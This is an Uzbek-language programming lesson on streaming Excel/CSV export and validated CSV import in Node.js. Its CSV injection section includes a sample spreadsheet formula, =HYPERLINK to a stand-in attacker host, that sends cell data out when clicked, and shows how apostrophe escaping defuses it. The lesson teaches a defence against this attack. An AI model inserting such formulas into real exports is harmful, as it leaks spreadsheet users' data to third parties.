IlmHamroh
JavaScript Full-stack/29-qism. Backend integratsiyalar: fayl, to'lov, bot, realtime10/69-dars15 daqiqa
Mundarija (26)

Excel va CSV: eksport va xavfsiz import

Qisqacha: Ma'lumotni jadvalga chiqarish (eksport) va foydalanuvchi jadvalini qabul qilish (import) — ikki xil xavf. Eksportda xavf — xotira (100 000 qator oddiy ExcelJS'da RSS ni +643 MB oshirdi, streaming writer'da +21.5 MB) va CSV injection: = bilan boshlangan katak Excel'da formula bo'lib ishlaydi. Importda xavf — ishonchsiz ma'lumot: har qator alohida tekshiriladi va xato qator raqami bilan qaytariladi. O'zbek matni uchun CSV boshida BOM bo'lmasa, Excel Oʻqish ni OÊ»qish qilib ko'rsatadi.

Bu darsda

  • Katta Excel faylni xotirani to'ldirmasdan oqim bilan yozasiz.
  • CSV'ni to'g'ri qo'shtirnoqlaysiz, BOM va kodirovka muammosini tushunasiz.
  • CSV injection hujumini va OWASP tavsiya qilgan himoyani ishlatasiz.
  • Yuklangan CSV'ni qatorma-qator tekshirib, xatolarni qator raqami bilan qaytarasiz.
  • ExcelJS, csv-parse, Papa Parse va SheetJS orasida tanlaysiz.

Oldin bilishingiz kerak: Zod 4 serverda, Async iteratorlar va Web Streams, Backpressure, Ommaviy ma'lumot: COPY, batch va cursor.

Oldingi darsda hisobotni PDF qildik — chop etish uchun. Lekin buxgalter hisobotni o'zgartirmoqchi, saralamoqchi, formulalar qo'shmoqchi. Unga jadval kerak.

1. Nega bu kerak?

Ikki real so'rov:

  1. Eksport. Jasur aka: "Barcha vazifalarimni Excel'da bering — o'zim tahlil qilaman." 3 yil ichida 100 000 vazifa.
  2. Import. Sardor (stajyor) 500 ta vazifani eski tizimdan CSV qilib olib keldi: "Shuni yuklab bering."

Ikkalasi oddiy tuyuladi. Lekin eksport serverni yiqitishi, import esa bazani axlat bilan to'ldirishi mumkin. Excel faylni ochgan odamning kompyuteri esa hujumga uchrashi mumkin.

Format Afzallik Kamchilik
CSV oddiy matn, oqim bilan oson, har dastur o'qiydi turlar yo'q (hammasi satr), kodirovka va ajratgich muammosi
XLSX turlar (son, sana), formatlash, bir nechta varaq ZIP ichida XML — og'irroq, kutubxona kerak

2. Excel eksport: ExcelJS

2.1 Ikki rejim

bash
npm i exceljs@4.4.0

ExcelJS'da ikki yo'l bor. Oddiy Workbook — butun kitob xotirada, oxirida yoziladi. stream.xlsx.WorkbookWriter — har qator yozilgach (commit()) xotiradan chiqadi. Kanon 100 000 qatorni (ID, matn, bajarildi, sana, summa) ikkala usulda yozdi:

text
oddiy:  4130 ms, RSS +643.1 MB, fayl 2.9 MB
stream: 4793 ms, RSS +21.5 MB, fayl 3.2 MB
qayta o'qildi: 100001 qator; 2-qator: [1,"Oʻqish: 1-bob",false,"2026-10-02T00:00:00.000Z",12.5]
  • Oddiy rejim: 2.9 MB fayl uchun +643 MB xotira. Uchta foydalanuvchi bir vaqtda eksport qilsa — server ~2 GB yo'qotadi.
  • Streaming: +21.5 MB, 30 barobar kam. Bu o'lchovda biroz sekinroq (4.8 s va 4.1 s) va fayl biroz kattaroq (umumiy satrlar jadvali ishlatilmadi).
  • Qayta o'qish: 100 000 + sarlavha = 100 001 qator; Oʻ va sana to'g'ri saqlangan.

Maslahat: RSS o'lchovi har ishga tushirishda boshqacha chiqadi: kanonning boshqa bir yurgizishida +926 → +97 MB bo'lgan. Darsda oxirgi o'lchov raqamlari berildi. Xulosa bir xil: streaming xotirani o'nlab barobar kamaytiradi.

2.2 Streaming kodi

js
import ExcelJS from "exceljs";

const wb = new ExcelJS.stream.xlsx.WorkbookWriter({
  stream: res, // Express javobi — to'g'ridan mijozga
  useStyles: true, useSharedStrings: false,
});
const ws = wb.addWorksheet("Vazifalar");
ws.columns = [
  { header: "ID", key: "id" },
  { header: "Matn", key: "matn", width: 30 },
  { header: "Bajarildi", key: "bajarildi" },
  { header: "Muddat", key: "muddat",
    style: { numFmt: "dd.mm.yyyy" } },
  { header: "Summa (so'm)", key: "summa",
    style: { numFmt: "#,##0.00" } },
];
for await (const q of bazadanQatorlar()) {
  ws.addRow(q).commit(); // qator xotiradan chiqadi
}
ws.commit();
await wb.commit();
  • bazadanQatorlar() — bazadan kursor bilan o'qiydigan async generator (Ommaviy ma'lumot: COPY, batch va cursor). 100 000 qatorni bitta SELECT bilan xotiraga olsangiz, streaming yozuvchining foydasi yo'qoladi.
  • numFmt — Excel ko'rinishi: sana 28.10.2026, summa 1 250,00 (mintaqa sozlamasiga qarab).
  • Kanon faylga yozdi; stream: res — javobga to'g'ridan. Bu variant kanonda sinalmagan.

3. CSV eksport

3.1 Qo'shtirnoqlash qoidasi

CSV (RFC 4180) qoidasi oddiy: maydonda ajratgich, qo'shtirnoq yoki yangi qator bo'lsa — maydon "…" ichiga olinadi, ichidagi " ikkilanadi (""). Kanon csv-stringify 6.9.0 bilan oqim yozdi:

text
100000 qator: 1422 ms, 4.7 MB
BOM: efbbbf (EF BB BF — Excel Windows'da UTF-8 ni shunsiz cp1251/1252 deb ochadi: 'OÊ»qish' kabi)
Ajratgich: Excel ro'yxat ajratgichi mintaqaga bog'liq (ru/uz sozlamada ';') — sinalmagan (Excel yo'q); variantlar: delimiter ';' yoki XLSX.

100 000 qator — 1.4 s, 4.7 MB (Excel'ning 3 MB idan katta — CSV siqilmagan matn).

3.2 BOM va kodirovka

BOM (Byte Order Mark — bayt tartibi belgisi) — fayl boshidagi EF BB BF baytlari: "bu fayl UTF-8". Excel Windows'da busiz CSV'ni eski kodlashda (Windows-1252) o'qiydi. Natijani o'zimiz ko'ramiz:

js
const bom = new TextEncoder().encode("\uFEFF");
console.log([...bom].map((b) => b.toString(16)).join(""));
const utf8 = new TextEncoder().encode("Oʻqish");
console.log(new TextDecoder("windows-1252").decode(utf8));
console.log(new TextDecoder().decode(utf8));
const bomli = new TextEncoder().encode("\uFEFFmatn;muddat");
const birinchi = new TextDecoder("utf-8", { ignoreBOM: true })
  .decode(bomli).split(";")[0];
console.log(birinchi.length, birinchi.codePointAt(0).toString(16));

Konsolda:

text
efbbbf
Oʻqish
Oʻqish
5 feff
  • Ikkinchi qator — kanon izohidagi OÊ»qish ning aynan o'zi: ʻ UTF-8 da 2 bayt (CA BB), Windows-1252 ularni ikki alohida belgi (Ê, ») deb o'qidi.
  • Oxirgi qator — importdagi tuzoq: BOM olib tashlanmasa, birinchi ustun nomi "matn" emas, 5 belgili "\uFEFF" + "matn" bo'ladi. Kod qator.matn ni izlaydi — topmaydi. Kanon csv-parse'da aynan shuni ko'rdi (bom: true siz).

Ajratgich ham muammo: O'zbekiston va Rossiya mintaqa sozlamasida Excel ro'yxat ajratgichi — ; (vergul o'nli kasr uchun band). Kanon Excel'da sinamadi (Excel yo'q). Ikki yo'l: ; bilan CSV yoki XLSX — XLSX'da bu muammo yo'q.

4. CSV injection

4.1 Hujum

Foydalanuvchi vazifa matniga shunday yozdi: =HYPERLINK("http://yomon.example/?d="&A1,"bosing"). Jasur aka eksportni Excel'da ochadi. Katak formula bo'lib ishlaydi: chiroyli "bosing" havolasi chiqadi. Bosilsa, A1 katakdagi ma'lumot hujumchi saytiga ketadi. =, +, -, @ bilan boshlanadigan har katak formula bo'lishi mumkin; tab va CR ham ba'zi dasturlarda.

Himoya (OWASP tavsiyasi): xavfli belgi bilan boshlangan katak boshiga ' qo'yish — Excel uni matn deb ko'rsatadi. Kanon funksiyasi va o'zimizning RFC 4180 qo'shtirnoqlashimiz:

js
const xavfli = [
  '=HYPERLINK("http://yomon.example/?d="&A1,"bosing")',
  "+1+1", "-2+3", "@SUM(1,1)", "\t=1+1", "\r=1+1",
  "oddiy matn", "-5", "+998901234567",
];
function maydon(v) {
  const s = String(v);
  return /[",\r\n]/.test(s) ? `"${s.replaceAll('"', '""')}"` : s;
}
const ekranla = (v) => (/^[=+\-@\t\r]/.test(v) ? `'${v}` : v);
const korsat = (s) =>
  s.replaceAll("\r", "\\r").replaceAll("\t", "\\t");
for (const v of xavfli) {
  console.log(korsat(maydon(ekranla(v))));
}

Konsolda:

text
"'=HYPERLINK(""http://yomon.example/?d=""&A1,""bosing"")"
'+1+1
'-2+3
"'@SUM(1,1)"
'\t=1+1
"'\r=1+1"
oddiy matn
'-5
'+998901234567

Kanonning csv-stringify bilan olgan "ekranlangan" chiqishi bilan qatorma-qator bir xil (korsat — tab va CR ni ko'rinadigan qilish uchun):

text
ekranlangan (OWASP: boshiga '):
"'=HYPERLINK(""http://yomon.example/?d=""&A1,""bosing"")"
'+1+1
'-2+3
"'@SUM(1,1)"
'\t=1+1
"'\r=1+1"
oddiy matn
'-5
'+998901234567

4.2 Narxi: raqamlar ham ekranlanadi

Oxirgi ikki qatorga qarang: -5 va +998901234567 (telefon raqami) ham ' oldi. Excel ularni endi son emas, matn deb ko'radi — yig'indi hisoblanmaydi. Kanon izohi: qaror ustun turiga qarab. Son ustunini (summa) faqat son qilib yozing (Number) — ekranlash shart emas; matn ustunini (vazifa matni, izoh, ism) har doim ekranlang. XLSX'da ExcelJS qiymat turini o'zi yozadi: satr — satr, formula faqat { formula: … } bilan — shuning uchun XLSX'da bu xavf ancha kichik.

csv-stringify 6.9 da tayyor opsiya bor:

text
csv-stringify `escape_formulas` opsiyasi: "'=1+1\n'-2\noddiy\n"

Tekshirib ko'ring: Nega himoya eksportda, importda emas? Axir xavfli matn importda bazaga kirgan.

Javob

=SUM(A1) — vazifa matni sifatida mutlaqo zararsiz: ilova uni oddiy matn ko'rsatadi. Xavf faqat u Excel'da ochilganda paydo bo'ladi. Kontekstga qarab ekranlash — HTML'da <, SQL'da parametr, CSV'da '. Kirishda "taqiqlash" foydalanuvchini ham bezovta qiladi (-5 daraja degan vazifa yozib bo'lmaydi).

5. CSV import

5.1 Oqim + validatsiya

Kanon ; ajratgichli faylni csv-parse 7.0.3 oqimi bilan o'qib, har qatorni Zod sxemasi bilan tekshirdi:

js
import { parse } from "csv-parse";
import { z } from "zod";

const Sxema = z.object({
  matn: z.string().trim().min(1).max(100),
  muddat: z.iso.date(),
  ustuvorlik: z.enum(["past", "orta", "yuqori"]),
});
const togri = [], xatolar = [];
try {
  const oqim = createReadStream("import.csv").pipe(parse({
    bom: true, columns: true, delimiter: ";", info: true,
  }));
  for await (const yozuv of oqim) {
    const r = Sxema.safeParse(yozuv.record);
    if (r.success) togri.push(r.data);
    else xatolar.push(`${yozuv.info.lines}-qator: ` +
      r.error.issues.map((i) => `${i.path.join(".")}: ${i.message}`)
        .join("; "));
  }
} catch (e) {
  xatolar.push(`parse to'xtadi: ${e.code} — ${e.message}`);
}

Kirish fayli (7 qator, ataylab xatolar bilan, birinchi belgi — BOM):

text
matn;muddat;ustuvorlik
Non olish;2026-10-30;yuqori
;2026-10-30;orta
Kitob o'qish;30.10.2026;past
"Qo'shtirnoq ""ichida""";2026-11-01;orta
Uzun;2026-11-01;juda
"yopilmagan;2026-11-01;orta

Natija (kanon):

text
to'g'ri: [{"matn":"Non olish","muddat":"2026-10-30","ustuvorlik":"yuqori"},{"matn":"Qo'shtirnoq \"ichida\"","muddat":"2026-11-01","ustuvorlik":"orta"}]
xatolar:
  3-qator: matn: Too small: expected string to have >=1 characters
  4-qator: muddat: Invalid ISO date
  6-qator: ustuvorlik: Invalid option: expected one of "past"|"orta"|"yuqori"
  parse to'xtadi: CSV_QUOTE_NOT_CLOSED — Quote Not Closed: the parsing is finished with an opening quote at line 7
  • 3-qator — bo'sh matn ("juda kichik: kamida 1 belgi kutilgan").
  • 4-qator — 30.10.2026 ISO sana emas. O'zbekistonda foydalanuvchilar shunday yozadi — importda formatni hujjatlang yoki ikkala formatni qabul qiling.
  • 6-qator — juda ruxsat etilgan qiymatlardan emas.
  • 7-qator — yopilmagan qo'shtirnoq: butun tahlil to'xtadi. Sintaksis xatosidan keyin csv-parse qayerda qator tugashini bilmaydi.
  • info.lines — fayldagi haqiqiy qator raqami (sarlavha 1-qator). Foydalanuvchi faylni ochib, aynan shu qatorni topadi.

5.2 Hammasi yoki hech narsa?

Ikki siyosat bor:

Siyosat Qachon
Xato bo'lsa — hech narsa yozilmaydi, xatolar ro'yxati qaytadi pul, buyurtmalar — yarim import xavfli
To'g'ri qatorlar yoziladi, xatolilar hisobotda vazifalar, kontaktlar — foydalanuvchi qolganini tuzatadi

Ikkalasida ham bazaga yozish — bitta tranzaksiyada va partiyalab (har 1 000 qator) (Tranzaksiya asoslari). Import uzoq bo'lsa — navbatda, natija hisobot bilan.

5.3 Papa Parse

text
qatorlar: 6 | xatolar: [{"qator":6,"kod":"MissingQuotes"},{"qator":5,"kod":"TooFewFields"}]

Papa Parse (5.7.0) — brauzerda ham ishlaydi. U o'sha faylni to'xtamasdan o'qidi va xatolarni ro'yxat qildi. Uning row raqami 0 dan va sarlavhasiz hisoblanadi — 6 va 5 — ma'lumot qatorlari indeksi, fayl qatori emas. Kanon shu faylni csv-parse bilan bom: true siz ham o'qidi: birinchi ustun nomi oldida ko'rinmas \uFEFF belgisi turibdi (saytda ko'rinmagani uchun o'sha chiqish qatorini bu yerga ko'chirmadik) — BOM tuzog'ining isboti.

Papa Parse'ning foydasi: frontend faylni yuklashdan oldin ko'rib chiqadi va xatolarni darhol ko'rsatadi. Lekin server baribir o'zi tekshiradi — mijoz tekshiruvi qulaylik, himoya emas.

6. Kutubxonalar xaritasi

Kutubxona Nima uchun Holat (kanon, 2026-10)
ExcelJS 4.4.0 XLSX o'qish/yozish, streaming kanon tanlovi; npm'dagi oxirgi reliz — 2023-10-19
csv-stringify / csv-parse CSV oqim bilan, Node kanon tanlovi
Papa Parse 5.7.0 CSV brauzerda va Node'da sinaldi
fast-csv CSV oqim, muqobil sinalmagan
SheetJS (xlsx) ko'p format npm'da 0.18.5 (2022-03-24)

SheetJS haqida: npm'dagi xlsx paketi latest — 0.18.5, 2022-yil martdan beri yangilanmagan. Yangi versiyalarni SheetJS o'z CDN'idan tarqatadi (hujjat bo'yicha; kanonda sinalmagan). npm i xlsx bilan eski versiya o'rnatiladi — xavfsizlik yamoqlarisiz. Kanon ExcelJS'ni tanladi. Halol eslatma: ExcelJS ham npm'da 2023-yil oktabrdan beri yangi reliz chiqarmagan (biz npm view bilan tekshirdik, 2026-10-28) — katta loyihada kutubxona holatini o'zingiz kuzating.

flowchart LR
  F[Foydalanuvchi CSV] --> L[Hajm limiti, multipart]
  L --> P[csv-parse oqimi: bom, delimiter]
  P --> V{Zod: qator to'g'rimi?}
  V -->|ha| T[Partiya 1000, tranzaksiya]
  V -->|yo'q| X[Xato: N-qator, maydon]
  T --> D[(Baza)]
  X --> H[Hisobot foydalanuvchiga]

7. Hujumchi nigohi

  1. CSV injection. Eksportdagi =, +, -, @, tab, CR. Himoya: matn ustunlarida ' prefiks yoki XLSX.
  2. Xotira tugashi (eksport). 1 mln qator oddiy rejimda. Himoya: streaming yozuvchi + bazadan kursor.
  3. Ulkan import fayli. 2 GB CSV. Himoya: yuklash limiti (Fayl yuklash: multipart va Multer), qatorlar soni limiti, oqim bilan o'qish.
  4. Zip bomba (XLSX). XLSX — ZIP. Kichik fayl ochilganda gigabaytlar. Himoya: XLSX importini cheklang yoki ochilgan hajmni kuzating (Fayl yuklash xavfsizligi).
  5. Mass assignment. CSV'da egasi_id ustuni — hujumchi boshqa odamga vazifa yozadi. Himoya: sxema faqat ruxsat etilgan ustunlarni oladi, egasi_id — sessiyadan (Backend'dagi injection va mass assignment).

8. Ko'p uchraydigan xatolar

Xato Sabab Davosi
Excel'da Oʻqish BOM yo'q bom: true (eksport)
Birinchi ustun "topilmadi" importda BOM olinmadi bom: true (import)
Hamma ma'lumot bitta ustunda ajratgich ,, Excel ; kutadi ; yoki XLSX
Eksportda server xotirasi to'ldi oddiy Workbook WorkbookWriter + commit()
'-5 matn bo'lib qoldi son ustuni ham ekranlandi ustun turiga qarab
Import butunlay to'xtadi yopilmagan qo'shtirnoq foydalanuvchiga qator raqami bilan ayting
"Xato bor" — qayerda? qator raqami yo'q info.lines

9. Mashqlar

Mashqlar kurs/mashqlar/29/10-excel-csv/ da.

1-mashq (oson): to'g'ri yoki noto'g'ri

  1. UTF-8 BOM — EF BB BF baytlari.
  2. CSV injection'dan himoya importda qilinadi.
  3. ExcelJS streaming yozuvchida har qatordan keyin commit() chaqiriladi.
  4. csv-parse yopilmagan qo'shtirnoqdan keyin qolgan qatorlarni o'qishda davom etadi.
Yechim
  1. To'g'ri — \uFEFF ning UTF-8 ko'rinishi.
  2. Noto'g'ri — eksportda, Excel konteksti uchun.
  3. To'g'ri — qator xotiradan chiqadi.
  4. Noto'g'ri — tahlil CSV_QUOTE_NOT_CLOSED bilan to'xtaydi (Papa Parse esa davom etadi).

2-mashq (o'rta): qatorma-qator tekshiruv

Zod'siz tekshir(q) funksiyasini yozing: matn (trim'dan keyin 1–100 belgi), muddat (YYYY-MM-DD va haqiqiy sana), ustuvorlik (past|orta|yuqori). Xatolar massivini qaytarsin. Keyin to'rt qatorni tekshirib, to'g'rilar sonini va xatolarni N-qator: … shaklida chiqaring (sarlavha — 1-qator).

Yechim
js
const qatorlar = [
  { matn: "Non olish", muddat: "2026-10-30", ustuvorlik: "yuqori" },
  { matn: "  ", muddat: "2026-10-30", ustuvorlik: "orta" },
  { matn: "Kitob o'qish", muddat: "30.10.2026", ustuvorlik: "past" },
  { matn: "Uzun", muddat: "2026-11-01", ustuvorlik: "juda" },
];
const USTUVORLIK = ["past", "orta", "yuqori"];

function tekshir(q) {
  const x = [];
  const matn = q.matn.trim();
  if (matn.length < 1 || matn.length > 100) {
    x.push("matn: 1–100 belgi");
  }
  if (!/^\d{4}-\d{2}-\d{2}$/.test(q.muddat) ||
      Number.isNaN(Date.parse(q.muddat))) {
    x.push("muddat: YYYY-MM-DD");
  }
  if (!USTUVORLIK.includes(q.ustuvorlik)) {
    x.push(`ustuvorlik: ${USTUVORLIK.join("|")}`);
  }
  return x;
}

const togri = [];
const xatolar = [];
qatorlar.forEach((q, i) => {
  const x = tekshir(q);
  if (x.length) xatolar.push(`${i + 2}-qator: ${x.join("; ")}`);
  else togri.push({ ...q, matn: q.matn.trim() });
});
console.log("to'g'ri:", togri.length);
console.log(xatolar.join("\n"));

Konsolda:

text
to'g'ri: 1
3-qator: matn: 1–100 belgi
4-qator: muddat: YYYY-MM-DD
5-qator: ustuvorlik: past|orta|yuqori

i + 2 — massiv indeksi 0 dan, sarlavha esa fayldagi 1-qator. Bitta qatorda bir nechta xato bo'lsa — hammasi ; bilan (foydalanuvchi bir marta tuzatadi). Bu — Zod'ning safeParse + issues qiladigan ishi; real loyihada Zod'ni ishlating (Zod 4 serverda).

3-mashq (qiyin): qo'shtirnoqli CSV o'quvchi

csvOqi(matn, ajratgich = ";") funksiyasini yozing: qatorlar massivini (har biri maydonlar massivi) qaytarsin. Qoidalar: "…" ichida ajratgich va yangi qator — maydonning bir qismi; "" — bitta "; \r e'tiborsiz. Qo'shtirnoq yopilmasa — Error("yopilmagan qo'shtirnoq: N-qator"), N — qo'shtirnoq ochilgan qator. Uch holat bilan sinang.

Yechim
js
function csvOqi(matn, ajratgich = ";") {
  const qatorlar = [];
  let qator = [];
  let maydon = "";
  let ichida = false;
  let raqam = 1;
  let boshlangan = 1;
  for (let i = 0; i < matn.length; i++) {
    const c = matn[i];
    if (ichida) {
      if (c === '"' && matn[i + 1] === '"') { maydon += '"'; i++; }
      else if (c === '"') ichida = false;
      else { if (c === "\n") raqam++; maydon += c; }
    } else if (c === '"') {
      ichida = true;
      boshlangan = raqam;
    } else if (c === ajratgich) {
      qator.push(maydon); maydon = "";
    } else if (c === "\n") {
      qator.push(maydon); qatorlar.push(qator);
      qator = []; maydon = ""; raqam++;
    } else if (c !== "\r") {
      maydon += c;
    }
  }
  if (ichida) {
    throw new Error(`yopilmagan qo'shtirnoq: ${boshlangan}-qator`);
  }
  if (maydon !== "" || qator.length) {
    qator.push(maydon);
    qatorlar.push(qator);
  }
  return qatorlar;
}

console.log(csvOqi('matn;holat\n"Qo\'shtirnoq ""ichida""";orta\n'));
console.log(csvOqi('a;"ikki\nqator";b'));
try {
  csvOqi('matn;holat\nNon;orta\n"yopilmagan;orta\n');
} catch (e) { console.log(e.message); }

Konsolda:

text
[ [ 'matn', 'holat' ], [ `Qo'shtirnoq "ichida"`, 'orta' ] ]
[ [ 'a', 'ikki\nqator', 'b' ] ]
yopilmagan qo'shtirnoq: 3-qator

Bu — holat mashinasi: ichida bayrog'i "qo'shtirnoq ichidamizmi" ni eslaydi. Ikkinchi natija ko'rsatadi: bitta CSV yozuv bir nechta fayl qatori bo'lishi mumkin — shuning uchun split("\n") bilan CSV o'qish xato. csv-parse ham xuddi shunday 7-qatorni ko'rsatdi. O'quv parseri: production'da csv-parse yoki Papa Parse.

10. Loyiha qadami: kanon tajribasi, loyihaga hali kirmaydi

Bu darsda vazifalar-api ga kod qo'shilmaydi. Kanon ExcelJS (oddiy va streaming), csv-stringify/csv-parse, CSV injection, Zod bilan import va Papa Parse'ni faqat tajribada o'lchadi. Sabab: eksport va import — uzoq ishlar, ular navbatga bog'liq (BullMQ asoslari); import esa auth'ga (kimning vazifalari) — 28-qism.

O'zingiz sinab ko'ring: alohida papkada npm i exceljs@4.4.0, 100 000 qatorni oddiy va streaming rejimda yozing, process.memoryUsage().rss ni har 10 ms da o'lchang. Sizning raqamlaringiz kanondagidan farq qiladi — nisbat esa saqlanadi.

11. Real ishda

  • Buxgalteriya, CRM, 1C bilan almashinuv — eksport/import ko'pincha CSV yoki XLSX; ; ajratgich va eski kodlashdagi (Windows-1251) fayllar ham uchrab turadi.
  • Bank ko'chirmalari — CSV import, har qator tekshiruv bilan; xatoli qator — qayta ko'rib chiqish navbatiga.
  • Admin panellar — "Excel'ga yuklab olish" tugmasi; 10 000 dan ko'p qatorda — fon vazifa va xatga havola.
  • Intervyuda: "1 mln qatorli Excel'ni qanday eksport qilasiz?", "CSV injection nima?", "Import xatolarini foydalanuvchiga qanday qaytarasiz?"

Xulosa

  • ExcelJS oddiy rejimi 100 000 qatorda +643 MB, streaming +21.5 MB — katta eksport faqat oqim bilan, bazadan kursor bilan.
  • CSV: maydonda ", ajratgich yoki yangi qator bo'lsa — qo'shtirnoq, "" — bitta qo'shtirnoq.
  • BOM (EF BB BF) bo'lmasa Excel OÊ»qish ko'rsatadi; importda BOM olinmasa birinchi ustun nomi buziladi.
  • CSV injection: =, +, -, @, tab, CR bilan boshlangan matnga '; son ustunlari — ustun turiga qarab.
  • Import: oqim + qatorma-qator validatsiya + qator raqami; yopilmagan qo'shtirnoq tahlilni to'xtatadi.
  • SheetJS npm'da 2022 dan yangilanmagan — kanon ExcelJS.

Keyingi dars: Fayl yuklab berish va arxivlash — Content-Disposition bilan to'g'ri nom, Range so'rovlari va bir nechta faylni ZIP oqimi.

Manbalar

Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!